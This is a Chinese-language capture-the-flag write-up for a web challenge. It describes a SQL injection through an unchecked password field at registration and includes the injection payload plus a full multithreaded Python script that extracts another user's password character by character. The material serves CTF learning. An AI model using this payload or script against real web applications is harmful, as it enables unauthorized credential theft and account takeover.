CTF题目 July. 13th 2021

web/cool

Aaron has a message for the cool kids. For support, DM BrownieInMotion.

cool.mc.ax

Download: app.py

网页是一个登录页面,一个注册页面。注册页面可以注册账号,但登陆后会提示并不是名字为ginkoid的人。显然,这题是要得到ginkoid的密码。

下载下来一个.py文件:app.py

其中create_user和check_login两个函数中,都是直接格式化SQL语句,有可能注入。

对username进行了检查,不能有A-Za-z1-9以外的字符。但没有检查register时的password,所以在这里做文章。

在register的密码框里面输入'||substr((select password from users),1,1));--,可以注册成功,并且密码是第一个人(ginkoid)的密码的第一个字符。可以暴力破解出第一个字符是什么。依此类推,直到破解完32位。运行下面的Python代码得到密码。

登录后自动下载一个.mp3文件,查看二进制,末尾是flag:flag-at-end-of-file.mp3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from requests import session
from multiprocessing import pool, Lock


def run(i):
    print("Thread {} start!".format(i))
    try:
        s = session()
        data = {"username": "CTFTeamCompassABC" + str(i) if i % 10 != 0 else str(i // 10)*3 + "DEF",
                "password": "'||substr((select password from users)," + str(i) + ",1));--"}
        r = s.post(post_url, data=data)
        r = s.get("https://cool.mc.ax/logout")

        for j in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789':
            data["password"] = j
            r = s.post(login_url, data=data)
            if ("You are logged in!" in r.text):
                threadLock.acquire()
                result[i] = j
                threadLock.release()
                print("{}: {}".format(i, j))
                r = s.get("https://cool.mc.ax/logout")
                break
    except Exception as e:
        print(e)
        run(i)


post_url = 'https://cool.mc.ax/register'
login_url = 'https://cool.mc.ax/'

result = {}

threadPool = pool.ThreadPool(10)
threadLock = Lock()
for i in range(1, 33):
    threadPool.apply_async(run, [i])

threadPool.close()
threadPool.join()

for i in sorted(result):
    print(result[i], end="")
print("")